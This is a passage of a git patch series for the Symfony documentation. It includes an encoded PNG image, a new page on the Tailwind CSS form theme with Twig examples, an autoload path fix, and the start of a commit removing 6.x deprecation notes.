z9IndWpIDI!q%EXHaZ<v~V7<E+9^OtKRWum9sS_244#8#pz4U3`&>VIsDr39j)iiKL
zrLiM()7zBy=tghnaj6!}3mhP|<U{;BQmgV}&#%HXjP|9a9G>mvF{)G8S!kEaGG_1!
zH5#HnATW4;kF0VdPSk1UQh_x&edC-?9t!m7vME=0vE%~nyA;fX-~UjM{hq<>hKCXH
z?hZOtxnG^^(bPC8SKbhWvqHQO$2Od<kkg;n0<FHy7yIv@5NKkQ+^A6Z8Z>eh@p+6E
z6iTz&#)j9E*Bx%<@n-m<G?1>F;(~(1(4@-P#ljfeewMY9=ro&#3Ps-)2seaW7{ynp
zDMq*dAh*b#H*t^uaC}o5ykF(|HizEu5o@3&TV9Caaack+;*|ltR%SkhQwT$pxzjxs
zs-p(TFHJSkIgFYwQKlA)o|~03yUzeJr6QEh`u7fcPb^iWq#suig3tM4-i@fnypxea
z3nXT(J_;pv%{ObBJ7}~Kn5i{>OB`r<l+QNJ80|Dl)&T3B0;vZaXPE2A3X&P)PREKA
z<FWQ}{f_puI-%nZ_EXNgBpwr!w$As%s?e8oRq12;yrGI~ZTecuA5NN#fBa-iXdG22
zp-XJ2D5M<OT2$30)hC|)Q#wL%b#v{eSe3%#)Op=VT1qeQ%(GFcr<FW8%oT8LnB+iU
zB;K&S<;}4-$+4$?HlOPjF0N$yr>pyquKf4JCU=w=L6ksZ3z|2^k8sV7jkj~BBV}XC
zh@4JoEC>C?GxUkb_n!+b?A0+$0vXj<J+0Sm^&j8qeF{C#DyS?jYOtF1A#YVw!Exa*
zoKMV!lh6k&K;$Mn{y`s$d!9hvMs{RHu-X06jd8_{M0`UdH^+83VxjQC&h&LhtV-LD
zF(>&R_O@oSvNISGPRmBUI)nBABBA+QE8DB9o#Nc$;(goPE2iaVB3xl{&YI(Trf1ai
z4g9l)+v9xI_a&xt?TVwr<u^%CqZ0})rfcYy;l#Yv@4SMz1hJgg{V(dOnRzT%++yn-
zyr<(~!6^nk$bD_e>!#DoKF@FA?yL$4IHCsQGlVn$A|@lTvFpX=h{`_Um)RXvf-s`b
zM`ob3=qPi#OOuR!%$uSHoeyCgDZBJ53}pB=tE($t?!vm|l7p^(z_5_r10pYc&cXN`
z)?;W`6Pj7TD^Q<{b`Cw<v10;lbj$;|KCU66T^=BuUEdAPLlBmafwC$;XA~tw7o9j*
z59$8K|H(hxEb)G5Ll=$c>Vt==x>(qkk8;=hsPX>pdLQL3>fe@bKOi2!v+}-!gD7F-
zcK{GWM?$bxfW3PKa=`r?NPh)#a}Sa89RH)k+cp_I2aJS;3W%slQ4uT-;K$Ou$9P~!
z0LC1C1&|hI&NSj2C_rYAZ-+=9{y(KipZ*7_2weVwYVzMh*?gYEGM3(XT7T6_z<~aR
zivRfrbc|-Mg>{_L(;lhRqOHN~An}(pjzIQ7GoO1BlV!1XFxE6;jU5mG625;CLY&$=
z+wNF^Qrn!i_x!9nRCS#46T}fE+Y!;^;E~vKuy@0D3+Ggzah~rbR>Q$;z2w|h2HC6I
zq~Hd+lJi!sfStK^pI4wd%$#t<@+3y(B>*?5#Dcjhbfj+|W)|bujfOfXVDUxPRu|-Z
zbF{krB7rZ6v|!{pJaAG!&DnQ6u>xjY;~s~R#3XwAh-*2T>^s-s`S5T9^;#5v3+_U?
znuj_R)Lh1t{_;8*&3Nr`HlH*vSMB^<V*`qRCh{lF-KyA{Td}=i7^Jfel;!(+3dQ4;
z1>64=ru<9X*f$AhBacU{=^0B29k`3nO{A9b(Z!-n(3L`cx#E^(-#yB%{H?#>5c*5O
zqL*wToFVmD$$g|*NEbbXgRj<vTBioww79Cs%)qWd$2Mw<<z$29pVvgy@APmyIr-ad
z#?M{;+Mll*84<dGbN!J|bR)I3)N{94(+CZ}gtr{pZf@OTdR(Om#!N(d!h9}+ZvU!-
zrp&a|R^q^wQNe=k1y@;|lP!?uG&hj4dbGF3xtrNKW#85vvc6@KNTWB9y%XS35m6m8
zwJnR=Cv9ZXiu^~*5j{5$9uhrA!hc{-4~mbLHu`E)IOe-?#X%o@UUDDjUwsNBv!8tj
z0^W`{4UiC+He&lMC$ZJ`&kSXmXUk>Q+CrzYt*!A9)NrM80wmC>#_GZvUBdUu%Z~Bc
zfK7~?W^c_XvQ#V%*Na>!xY0qv8mu8UpGizg^Q+%-v=u0O^+v7By9KSSs77+#|2ppa
zJ;OS4Rpg2L3tvuhUE^V|61`<)+|Zu2;69rwuG$@1x<`BFq;`TXF%9C%dWG{+E!g6L
zX87}_z!@vB-3^gJPEKf^CkIpDHgU$gbkeR|nbYXsBsH(o40KH0JA^@#J+INT&h}oO
zq1!#7sw7}Nx96=~E~ySPV(XBJ$oqg;^@CDrZpf8O+|sEUy}#~o|2&!|R&@Ho6UpUT
z+#J(%$tZhHJGXjZmfOoW?*8zZoZ$?ZKuBc$x-Rbi_dafxBjrd<hou|6oHW}=5#c8u
zON`Fa&b)smjw7(i4rNY=Bb~vvocq0$Uq*Jf`D$<HHm;=5Tei`xtk3C5c$}$zN5kIB
zA_Vi_#U4VO+pS6&4pH!ks`s#5(C4j6&E-g`kX3b!;!TgsU(+2)`S|xN$plm&kfwU9
z)0KHt3}l{eolzUE#aWlPN@Nm~_dLip&UR?CA0(|loAtzXl&baZ<s4|XJ>_=MaI{&R
zL}Qw-|DHJ!PIPr4VZ^A>Is2(F)kZ*i@3;LCW7#WawXTm29}zPI(({2JpS{EV{VO7K
zpzyb)?hyIH%hTu5!zF*2)N?!*7s&WWHG8D+HQK$e<Yd)`t*3V)Vw*jQ_F{<r-i_8v
z4pxzl<MJT)7YJw3s}Jox#SYvFYns$Q%F5wK*lG_XI}G#9Yg1GN5t9YL85WCrKLmr-
z3}bI6RNUZu)rST6<Y%(N@s~C#0<3&><8&Q-Wqiv8KFN?4>%wm>Yz=sq=F_ox_`^Pz
zK|>_DXl3Hx{{6ABPZeh|uJZ*FhPg2=p0(0{H1VWH?pQ5lpUU>;kVH{J)X4m=ah?C`
zo%R2@<9{mb^uN#RAaFh%Q*pV5R(*o_eL+z|bRmwDPvg-H{R1G-opAcU2=wU}@}dWm
zkImDh;4&<vW32LrDrg0luD^re=KOgZ>a<^eQL~>aic%4LAIHfrYA@vx17FGf`<3^o
zdxWryn56%K_n-9{#NRBb3lI$#BS4rL)LPnu@%1sJ{Y8ugulw6`BrmCd`vXfXHp1}Q
zbA%uK-wLn&H#z$MKLF7G*8{?21QpkUWgYd@w7xP_=sf;21kdvWko*ylnmb$C%n(Ch
zQ(C+WAld+`sdHY?BOE>ju8$?=BnfVP<<Hw}vufwt{kOA0ppU)p*O`(+GV6cbcJ|vI
z^5O)<cio)E_qvzH$`|?FHg!|)uW}U4ew!B}?ueQSR^xD^ZqS(GOmh5Lm-(YLyLd<#
zaJ`Ro+g|bIbJDSoRwe&m(=j~}#HKFX3BNzV;*uZ2n^-r;srS3vIA`3_;>=mLQ4ht3
zB^Uwa3jM3!N5x_}a(ZHaRMBmGMC*dA^;;dN@$<PZ8rKf^&@{IMl8~MNxhqY`UL=dY
z#*0L}1d-~c_e^IlA4UaO18ZLE6N4_p6h5Hs7FU*5Z9iNN2`!3YvAW`=cat^PW3a(#
zP?ywh{=_e-@!I2fim!$DWI7`V;T?f&#T(E-A5)rrw{@{EkalisRPT<e5;D5|Mw{UG
z8KXp+nRVs%rE;jLe?B}{Z9})axSFW%L*gi3RaV(7_DPaf-@R<ePUCY4AOOi`2FV-J
z=`w^Fd356%367U9WLc!EdI4Y+>DM&L7{amtVmuJKKNgx}_q8AgYdYw1?Y-63Y0*yH
zms<hg;eq=Ls!DQ04G}kkiAjMuu|0X)%jH6DMhA>|{HmX|_Jo<z=^BF8#*h>`W*5%>
zyJCe#_V^e^fs&u!RKoGAvZGE{L~8`{VDz;&s)*8aZX^wrmZWM2=h7hSzA)3$%e;SP
z?COZhw=icS7#Dd4d>+a<dfBD~Pc-=kh=UKvQzjkU562A{bu8(&E<JEmy}mV6uJ2U#
zm5r<u?`{;tReRq~%&dfirUhF06=yPQ|IQ=oSA6h8n%<ImW>9mo1#q-tFtPM-JS+W!
z;0-(=JHGNUgc;;f2BP{MoFH0jcv-~*8i<62C=JiRPE)FT_1Uk#B85LP{<y=JC6dXI
zr+|2T?L{QC-GwQOs-I?R-Q5k{jif(|IBu)%8ok#T&FC`Anwoq+$2P2mE%C(${CD}J
z7hWQ!|G?&e;+YS|Q*a-<Dz<{rfS$UH5ToYG;4?aZK$-xFZb73i<mvHNCAG`O?X<nM
z!`)?Qo@2=!(`v(rXZN7m(^fY6txh~5ggkI6t+|`pORq5^tK#}MjpM2gJYE4BNq?CT
zUF_T%pbS5L22Z@IJ{479o4WoZk=iQTPr%##hPyvEe?fOkDC9{4^CuS$+zDfblB-I#
z6ki9+*NcPQ(y{}iXOv$Zlxb(QiKmRFs<T}j{z60*9|+2skCaP}`<r+doq?>A#oZXg
z6%6$VT!da3?~6EO6v-{qp6|N&O#h3QKGr3zid+o1?gEcWd0*cuZ-39A0;s@*5eFa<
zBn6D!ny(XTpFr+o%L|7f#uwoRQdh`il}lHCwD>79^oY(fme_H;ps`nQkorS72T%-)
zR@mifz^@_$)Ie}JxG5$fpl2QcJr((~5z7EF3V0laD)DwiM(F?khd}7*xX|cvvqE{l
zm|xuZV9dtfd`_PK5LM`A=}|m~nQ~XyyYDbBhl%0ijWUj@vV!3*B2wqYAwbqkaY5A6
z)6>wj_{xCNnL!a4+jAec2dHG=%gf72sN+vT5K?T<2Qje@lp+y-1b}wK0{$HzAJ3>!
zDU<$471ZkYaCLoMaFO2L89q)RS7xvQm{Oo>)DO^A^4lXPH2Zy#CIG*f=8gt7?zd22
zr0+Efy&n#B<N`qYxj8C@HH33mg8JuDi^mFEEU8!TqIjL)@*w7<n5o%zU<if80ze*=
zJb76sN7DA7!VLHg85)HqBxUN)w~Zs>s(WVhKo86<t0*w21+Tx}-dmnf2rcU12ohV9
z<Pt>{?C<0PdBh3YvDx73`t!QOV+%b+F!$+LZGfY?WN&!KmZL5u<`_=~aWcMd{`?22
zSn=6;T>7p6xi$+Yg=lu(SK@<mu+3?&{M;F7#yLLx*w&hYzat*ot5tuibun8{(s}6J
zcrdTF^}s*>Jo_N|{+*)y(8elThdiIeuFoLOBq?y%Pxe-(^IpV$-^qP_Tb;ZIq&E<|
zhUNA#9njFB#JkWblZB-)p<IvaGSFfpw0)AwLXl6-;q?!ap5cJ_?Q|<s&akL2FR3yD
z<x4(C5{SBc;#`ik|2~y~#QYrR`kse_W^U~D&!!#V91dXigDb4WyhG;b9)~J2#dw&#
z^@25)=lDL#t~a7P`#RN20{ILF3m2oibx$*ujO_YliSG<&p|KIr+0|ny+?nFmY2GgO
z=d-!musy8F(sCaehZ!DiXq#)Q9s32lDw_F$=i4s>z^zo!zCH$Xy>fBkZ(`bNm2MJh
zi;)bk)L9W_^=*(@H%?t%2(pq#Hz)q-!T-3-Cn$(ftZLQE3DsPnD9Y#e7+-E~7bp$6
zGXEYOc0$tP3xdr%Z-J(0Ec^-Em3GmjNj$fG(zp=s<RgkuD*xs+?3=z3|K<VeA0@gd
zcB$KTiFJqklm%*G$BU9ovjOJQMyKfOVP+K%5Bf^@#|yeMR(lr~J6i)h1cS%oyK$^=
z2^TzVA5p9v0Y|G{yvAem8VK9)X!>WCyOnahpjl0?e!*WCi#eh~m!sRM?|q__nfl8{
z9f)V|*B4Fey|YyAwO8{KAkqOZNCJl(Zj8>NSZXtWWKwqwS89{ixqw`~o0hMI`pcsB
zpOo?+{36A~(e}vliyuMJ3Ty;8f*Flj_Yz#MI@<J|R(~XOUQuw-j+N2bJZHWwRt{eA
zSU>o5OOb9@5YkT(klz>=)#aw?TUe|oul$UsonUnIoQ9S)6bLY1JN1^&;M8V?Bo&w+
z_2lJbG7qu7UVXX|$u=0*ESKrL_$r;$ET_ogx0OBrnK>QL86YxFq0}#UL&ZRat@44R
zBJ?Lth$MB-MP&hz&KvSkEuEMT>T<+NV;rNN`bi*BqU6ozbPMm?S@sWHCA?TnRPmgN
zP-_K1O;fjI8QOKd!Tyca_kGfh-ZUnH%rrQy%RHhc^KMaY5tp}tPLgNq8!nCmalK}A
zlr$!L($qI*R9>D!spkVXM4i8=3MeL`Qn<q2=pKcfS0DCD8^};fu73YK?^c{didDy5
zdhZev!e8cq9BC&&ZOj`dINK81V{GD18(A~&kwmv&)6FQv9!E%a90;}Z^X)(99yb>B
z4=d<!isQSQdkQ9W-Wq&C)@s>AKs@Cy=n>*^^#r^?G+{FGdOxzwz0=;$!|t)M<?GOq
z`$%~wndN?+7km73ybmUm@*dy;Y6_#V2<1=TM@&aYIYFd08*TVa1qpGZjBLwPxvytL
z?<mcP8peQx5s#KS<qRRX!g0Pw&g8*T*O!98jNE+|P`*uvhMFcpUlJpgbDs6us>0C3
zyYGA$R)H2e744ISoI!z9Z(92|8$(AG#UmmjeK>{*!K}FklPiIN1)WgaBS%9W&+BaZ
zq{9x}TVnl(mxrv}rpq=4*}BjfiNd;+FaEyo_n$Vb)S4wJ>ph!@ENy;wBmAX+o=WIG
ze6*uUTuF`O{Q7oD_u^eTD*zCku<hL-DVm%qulH}``sf4=_5_T)=GmszURv^3emfiy
z1kLW>x72n2d>d2Wo1;Uy60apbwZK1O&fifQIO1$|;3!Aw{8OA~V7wc@+ahV;Csn@7
zpL5Zxqdj67XDB~21uqb2J)-Qrd5wKvnSd|8?uJrzx+B)z6LNpbs^{hP)hRI|IZItC
z;C5hSH_rZC{?2V~)j)ExUkA5df>H?iY_&8y{>Z=C{O+W3ES>{DF6sQ0#+|J<;eI5T
z9HW3#Jmd*khRtZ!C*?J2!BSbs_}&ZFb(%aV<)`S>&BT&%1@rJ`<tOr=DuScxjC5p?
z5{I16@oXG0kTi76={l6(xqsqdS_mU$U<<hXz<NkI2Btf-G_IoZGd{*Bt;qXYcifn4
z20m?{%&<_Lynk=u$$!Dok(K6{O`bjNa;{|PwS9(eJ`SC#v%w{H;tcQJlh&3+BR<!V
zo{$GRzAgTGiYWpS?29@_ccKT?93ruM)&6KI6m0%^>C02OYLex_5_W&nQ&-+!&2HAg
z&T2(ecUPLaLF#loo3rLTEqJ#)r@|Y%L3zqFlroUm+qM?#LaWb_Pd-9Cv8^_`zH)OH
z45e0e_c#N*mpq{>W&UM(a&UnxlAGTuRKwZCIv=#j9x|C7Vz?1z1U8=J)qPpx!D+V)
z3BIYmJh?iy?U28YlO!+r=YkO2vC5F@obP+}RzJ5oro6Fg|D`2kCHvqyE!6p8p<O1R
zi`dkO`gxSC9uiV}Ja*|_*cGr&$i(o0!|hA=aEIP5%1BOkQ96A-G^8dWX-Gao;6T8%
zXLwo-=<rROO_FrTYVcv*O$dK$g2-$tlBiXBk7#|BsAuKyeU)jhkOPo}jLKxS&Lh1(
z+~#wq{F6#e5`{`_9V=XgvAb5kLDY1^#!P;Pyg%~#+_l0jQeh-ic%$JLXIw;V#^q^z
zEVsKJN}<!5mY+7R6-n7@N1@Dx3sbn|JvPQ(+!48cw|w@e2={;{XUg(hKYf=TwH3yt
z0j?_+wy9=6t_}R_FZv@kxbwG=&`(!QMr7;3j_AXuKzjq#qm#Gu*ZXJQuI#txvCdqV
z^X@=Z#Ltp`=K{4;10{n`1ot96`n(-D%+o^>auuZFI~=`vjAG$7c(;wLi57hMyXFwi
z&*uBVg<y}37fk|TPd+;}hHPkh`7qp3ZJ$$D`VMJBNOXy1#q<R^2uz5YUI1&$mFu#j
zVo4xcGw9}ZQ?K=MuOv0e{Wg$_p2JOF36^AJSH?RT0V*yrxqK`isrDD>-n^$XAY0$`
zvpH|--YVJvNjtlA^&~mH?IWqvM|ab``y}UV#dg#{(zLWnX{*+_F3>Mj5ic*4)U!q-
zWH^m60KWA0Rn{OOBn%|u56PasT+b}R*d-p9iIdPyRU%U*mp*Qr(l9ij4#)KjYSz+z
zX-Q#Ez@yB-qZ(M0hq_<~77+3!-%M^^k2bW~m=Jl7M@-(j>0{AaA5<`;Z;k%ex8a!3
zyV0``q;XqTT-*{3g&a~^qFY)kL~|qrg@o+@+Vz=mxlk2ka%_7qh;97bfb3$0(4$V9
z#eeek_kZG@Cp1?+n2a&Ys0%x?oG}9n&G&9S+L*s40giKI(Oq&$5widKro>5S#!TJF
zGiYI=UfR4{CPl6Za_k>gS!dxEl8im6b8WOC7Q$s~-tC+f9il%m<YYpj-TB6B`sEMe
zf)bAmK5R30rfdNg`jPVw_#LO+o3S}^*Z5<XhmAUZ?h~M%<=1&zerDjQMl0JO)D_%~
zO~SmA``jS+{f83d4J3eUXo;}s%TZp)l=%#FCb79PUf0Pqq$)PvEX2@AXj>Ujen>Yk
z`yAi{wg5Ty9@4uJ^YN-mkUx??`L{7Tz9d!by{6n{r~xin+yF=jdEAZg&@R#i+6#(U
zZ*<<T3lP$7S=G7sAswinTxVK_l1<&e^bKX{(GcM&33;3Ko$IdmoiW9l2OE#80c$Ji
z0N7#Lu0TL2?l++h^-`|jdrr^R_<M@pn=x6Z7gZi;6kuajcF&hCGRCJdW4&CBfy+mf
zajY&cI<Ke?ma!%IkH1idaxq!|8nEZAcizyfg&v|jRL#j|w0Ns<u3bwG?jWyJJ8auf
zW_Oi)W-{J5s<;}dGkK`hb~n2^dXh;<pz4(v&OXz>*+p-=yrQN|-p4#LEI~FG+ts0-
zXPR!aIyuucGG481<`Edw#l1`HxKCbtI>vz`)6-0`0?4H}I_Qts&j!C#;LS};da?HJ
zifpsH_l$><PXG}>6J-iX2`VohrW}Ms{C1t%%bM4vcy%D@a%RDslKmn#J0N-Qxt%9t
z_!R-TW3=boJ@5Qd3EMYSay^rgDsAruIoK-9;*{yy(;TSQnf>xsAb2c4G1a%BxwFTp
z^ky-&=7#Ih$(@Q{J8fizD@S+Vqdz1A&Fcj(idU%#?`BYhD0&r2a4VaxUqU_XtQV26
z7u@SZVq@=pdP=S@Th7sXLpP+mv{qJq^^Gs~(KE_*+xiz;>W=rz>gNNA3(nsk%zsLJ
z2PM~evw5wpyKe`U9r&4Lu=Zo5*$#Y%${4D&nw|MmYdjVxEy_9MH*tK{ug5hOOR_Zd
zMXb}fq%&H~?Gc)b@xoZUf$`d6Ue5Aoed=&Ajc(iMB_gOigv4zV6cTD_`<boFNyV<)
z`P=CbQNe3m+a!~!rr#O9wFF@D+Z;eWgDK>*h-QAFcD5Nnxf^?XzWLFC1r~_C0EB}N
zyDR6eNz4Oq#SLKrpz|i6fqXIjxep{-ZbJ`*p_rtw)PJQq5@~v<0-$0Qo&=K7qUB=%
zQ)-d)2cTP9#DM&GdLgi>zpN+%6zyY9WFXn$=_%+~Ct&W~%lk3*Fng4Ztyeu|8^+c?
zJ_G)}+vst9vGmAGLPSJlaz)^k_tBB<-C?*F3!ojuQ2H8%sMICL1j5LUyO19oo)9m9
z2}a)2^`T2~Zn?$|YpL*Ga^QxI0ST4{L*e)1gomC$?3fJ1j=SnbNO00tSRQy<Hxac?
zcrxDyj1Q3CT0I<pt3R=Tp~=76A%aKjj~#*J4cM#(9nrR501(<ku?)#!ht~pwlmiCo
z_-4WzPQj$n0h1)~t3V&PKWs(-Awg@=8p+>Us&7C`0lFv$9C)aU$p_qHvO*IDQ6HQF
z2oTP`m4+b*L|s@dQC*A~qIugOKJWl3AIDh{l=Uuf58Vmdhlr-6t|EZW2mcQ*B2)CA
zeULy6m)G%h0@K(jK$vS?xqlR#wGL%Sp=AByof%nozSt~cEHu~cyRDDlO7s93yScIG
zFy=<TXQhIl&NGl(b9+E?W&x#Fv4CRf7kgTjXSJ_fX{PIjYMhK%jdh;p3r=>GBaxF`
z_CTo{KDNYNQ)DQNp>XV0X0N!L)99Fo?d-~(z|T^|bN&Z;9ec7CZ(Sf&dhJxh`5);v
zDja8XOntp<b|+mneOHV$dshZ5X0qm5I*9jNL{K41&?zNv{170YcL@2%v{8TLc$H>=
zmYG%sX+}-N1J+dnf`Z4Q1JQQSP2Byh3&;{m8WzW8nNl3>sz>{x?;<D9?nq^}UY#Vc
z-acrmGX^7_wiN55mUk+XGJyCPvIk(4jq@OK)<e~vZ9L7~TXlC5K`rs&e3}#O-Sp9_
zsF@cjI!oE!(7{jevrvBsLy%wKgPrNsPL5^h@e^XC<$+AGmmWgA-pb^aoXS+|x6<m-
z>xF!PZvG@@vP3mcXk*ra=&`=x`f_`3>f^QR(K#eHcx83C9;_FD-fWHiDR+&TqxEJR
z+P3pIB>51-yR6V&a|fJ(l~2~UBn~N<=<RK+P8GiK@@KVkKm35Q$7SmMj55u`_bm4A
zY++-;K$%^B%9uz0UJ`Uy(9wr?fC`74gRE!5k|}Hi&jw;#30L6&HuIYt#8b%|T0=g1
zYYNL@19f8GH7~nWjeg4+d|T6yBOtU%t0iP#U;^EuQvJjCVA5<iHS*7NaVMu1%AP}T
z?RFwgf+1bMYTns*?t3Hs^=~g!`D3{?KT50>O77kqJj`+~CMM-#=rgi7eQd;7t`GG{
z5uL%dIhSg8ux8Z{d3>HkbN(G|)q|kDT#<B~&eG;^1P|BU7AuP$M0wDJPYx^W1Lk=B
z;bc3Sx%3uBRpXk}>BjCtsV|C-IP1MHGFxgnP$y<#X?v7p2tBbsJGcF~SIVB#>MhVe
zoXWhe_=o9FY-l}cb+X}?fj~{XVJV_AIOqE|s!6UTeW1jW-azB?NNE+K)+!KaH<F0Q
z_%^ChZg;p$W=gp$>)U#KF;G9}F17>L{K&inO?wNBq34{-7xZc-OJ-S_OaRr}b^9*`
ztD40=FR@gT&vlj0llOs|)*$tYF)3ks9TDx^pF7xcPEm@XS{oMJK$8cC++%^O744L7
z4fcSfqll{LvMeQoF`+twp-d}^DX^nX_EPnX!eix(6Og<e?Y}pKnKMjPNIBBZ<rps;
z{*~?)d9(MODAAQ_{!aX2Vl#<Pd8w}%*a-vPE}*LfoM(%{j$!{4EZnMgwqZ_Fe9}}c
z@>IcyPql(N>>avO9oJ_L=y5t1e+KtWVt4QLs&ZW)@kzcGSr5f{xokyfdN?6_mZ3D7
zImEaezE&XA$oDrJLYK|wK!&ZM>C}F$=jF{+!9HtprPGtD!eWzWSL|n=<E9-Gd$MxC
zW8^;MGzaR`w;BSw!@Vs8o#$L|p??gajrV%Ou1J~Ee%DXH0GYm2un^xLz==|FLfH|}
z$yi+$2__6b85^zti9Eh={CNhp9a$2EyU@)=fBM=mFtHxPvJgilSNLFuXhsjgNYU`7
z{*s0f;>9|2H=9ak7N5GkmyH=_Kxs2TmLGaFwi26{?_X`BWkFwqZZG(Zm;350U)_^q
z1<!`4HiS3i_BnAgfcnlJiJih`_&@~`SLe5i6H`mo>t;z4-O$0t?tn+-D%u(-Vk;C>
zy~CP3uP_qN+L-E;dv2|Z6+PkqqsEEwSe%&f{XhiY>*P5Z>f=73>X;JHmJXD8xjaev
zq)$9bNz#~SaDEnUB4JXSShGU2{N*5t&PtBA23W#0H1XARSGtGpJvBR@dbQYUOmgE%
zfSP>c_HN9A*N$1C+ZzpK7lUUn``fpf^t|N1Sil<VKp2sK0mp7<4vk=_)#+0D=NAuI
z_f#vBwht0998WM?x_(>VelpI)oK|{;r(!w(HGq=U-kr>jkQpSFZ>+fUr>gXeD3(e`
z@ycZ4z&tTHiN<P(_bj!#Em~u+ZsKtVbuTSD!xZVZCtAUf1ptlsCU3hpH0wRFT|cnu
z%`$Q}a3ufgGxp8)Yt?Z4asKnLch70@Hlb@t)wroYYcy+La$Fkjn?=MSn(UK<HVTMi
z8K3)H!`Nx9!`-2#tdVGuQ#H6F{vk{VQ)e(yNdK$Ig0sx#>V-atiavROdUyM*(TPYY
zg8}unpKLzINBEC7C1FUxbVn6|6gXi>!K4CSgd>bB0H7$Sqy;(RY2a{(vv6GaFH!&m
zA_BRE`UsXDhMiio#z=DDg#O8I7*eQkU_>AV7|@z5S4TngKS}{w%%A<P3`10r>jG6Q
k4-=Km5QRvCk;wN#Rn|wG6URDI{{VlIALQN_iGaTT7xry{#{d8T

literal 0
HcmV?d00001

diff --git a/form/tailwindcss.rst b/form/tailwindcss.rst
new file mode 100644
index 00000000000..52f4eb857d9
--- /dev/null
+++ b/form/tailwindcss.rst
@@ -0,0 +1,95 @@
+Tailwind CSS Form Theme
+=======================
+
+Symfony provides a minimal form theme for `Tailwind CSS`_. Tailwind is a *utility first*
+CSS framework and provides *unlimited ways* to customize your forms. Tailwind has
+an official `form plugin`_ that provides a basic form reset that standardizes their look
+on all browsers. This form theme requires this plugin and adds a few basic tailwind
+classes so out of the box, your forms will look decent. Customization is almost always
+going to be required so this theme makes that easy.
+
+.. image:: /_images/form/tailwindcss-form.png
+   :align: center
+
+To use, first be sure you have installed and integrated `Tailwind CSS`_ and the
+`form plugin`_. Follow their respective documentation to install both packages.
+
+If you prefer to use the Tailwind theme on a form by form basis, include the
+``form_theme`` tag in the templates where those forms are used:
+
+.. code-block:: html+twig
+
+    {# ... #}
+    {# this tag only applies to the forms defined in this template #}
+    {% form_theme form 'tailwind_2_layout.html.twig' %}
+
+    {% block body %}
+        <h1>User Sign Up:</h1>
+        {{ form(form) }}
+    {% endblock %}
+
+Customization
+-------------
+
+Customizing CSS classes is especially important for this theme.
+
+Twig Form Functions
+~~~~~~~~~~~~~~~~~~~
+
+You can customize classes of individual fields by setting some class options.
+
+.. code-block:: twig
+
+    {{ form_row(form.title, {
+        row_class: 'my row classes',
+        label_class: 'my label classes',
+        error_item_class: 'my error item classes',
+        widget_class: 'my widget classes',
+        widget_disabled_class: 'my disabled widget classes',
+        widget_errors_class: 'my widget with error classes',
+    }) }}
+
+When customizing the classes this way the defaults provided by the theme
+are *overridden* opposed to merged as is the case with other themes. This
+enables you to take full control of the classes without worrying about
+*undoing* the generic defaults the theme provides.
+
+Project Specific Form Layout
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you have a generic Tailwind style for all your forms, you can create
+a custom form theme using the Tailwind CSS theme as a base.
+
+.. code-block:: twig
+
+    {% use 'tailwind_2_layout.html.twig' %}
+
+    {%- block form_row -%}
+        {%- set row_class = row_class|default('my row classes') -%}
+        {{- parent() -}}
+    {%- endblock form_row -%}
+
+    {%- block widget_attributes -%}
+        {%- set widget_class = widget_class|default('my widget classes') -%}
+        {%- set widget_disabled_class = widget_disabled_class|default('my disabled widget classes') -%}
+        {%- set widget_errors_class = widget_errors_class|default('my widget with error classes') -%}
+        {{- parent() -}}
+    {%- endblock widget_attributes -%}
+
+    {%- block form_label -%}
+        {%- set label_class = label_class|default('my label classes') -%}
+        {{- parent() -}}
+    {%- endblock form_label -%}
+
+    {%- block form_help -%}
+        {%- set help_class = help_class|default('my label classes') -%}
+        {{- parent() -}}
+    {%- endblock form_help -%}
+
+    {%- block form_errors -%}
+        {%- set error_item_class = error_item_class|default('my error item classes') -%}
+        {{- parent() -}}
+    {%- endblock form_errors -%}
+
+.. _`Tailwind CSS`: https://tailwindcss.com
+.. _`form plugin`: https://github.com/tailwindlabs/tailwindcss-forms
diff --git a/forms.rst b/forms.rst
index b3dd9e207a0..80e98ecb768 100644
--- a/forms.rst
+++ b/forms.rst
@@ -1029,6 +1029,7 @@ Form Themes and Customization:
 
     /form/bootstrap4
     /form/bootstrap5
+    /form/tailwindcss
     /form/form_customization
     /form/form_themes
 

From e95def39f4a374071c52fa5e91d145333684135d Mon Sep 17 00:00:00 2001
From: iraouf <issam.raouf.dev@gmail.com>
Date: Tue, 15 Aug 2023 15:05:13 +0100
Subject: [PATCH 5014/7107] [configuration][override_dir_structure] autoload to
 autoload_runtime

From Symfony 5.3 we use autoload_runtime instead of autoload
---
 configuration/override_dir_structure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 2a5df047611..21e3f89d31b 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -254,7 +254,7 @@ your ``index.php`` front controller. If you renamed the directory, you're fine.
 But if you moved it in some way, you may need to modify these paths inside those
 files::
 
-    require_once __DIR__.'/../path/to/vendor/autoload.php';
+    require_once __DIR__.'/../path/to/vendor/autoload_runtime.php';
 
 You also need to change the ``extra.public-dir`` option in the ``composer.json``
 file:

From 674037b860f81b8d0b5fb39857ba0e178a9cbc80 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Jun 2023 13:46:14 +0200
Subject: [PATCH 5015/7107] Remove all 6.x deprecations on 7.0

---
 components/console/events.rst                 |  10 --
 components/http_foundation.rst                |  11 +-
 components/validator/resources.rst            |   4 -
 console.rst                                   |  11 --
 contributing/documentation/format.rst         |   8 +-
 doctrine/events.rst                           | 165 +-----------------
 mailer.rst                                    |  14 +-
 messenger.rst                                 |   6 -
 reference/attributes.rst                      |   5 -
 reference/configuration/doctrine.rst          |  10 +-
 reference/formats/expression_language.rst     |   2 +-
 .../options/date_widget_description.rst.inc   |   5 -
 serializer/custom_normalizer.rst              |   9 -
 service_container/service_decoration.rst      |   6 -
 14 files changed, 19 insertions(+), 247 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 66e3cad013c..d7348996c94 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -255,16 +255,6 @@ handle all signals e.g. to do some tasks before terminating the command.
         The :class:`Symfony\\Component\\Console\\SignalRegistry\\SignalMap` class was
         introduced in Symfony 6.4.
 
-.. deprecated:: 6.3
-
-    In Symfony versions previous to 6.3, all signals (except ``SIGUSR1`` and
-    ``SIGUSR2``) would terminate the script by calling ``exit(0)``. Starting
-    from Symfony 6.3, no more signal is automatically calling ``exit(0)``.
-
-.. deprecated:: 6.3
-
-    Not returning a value in ``handleSignal()`` is deprecated since Symfony 6.3.
-
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
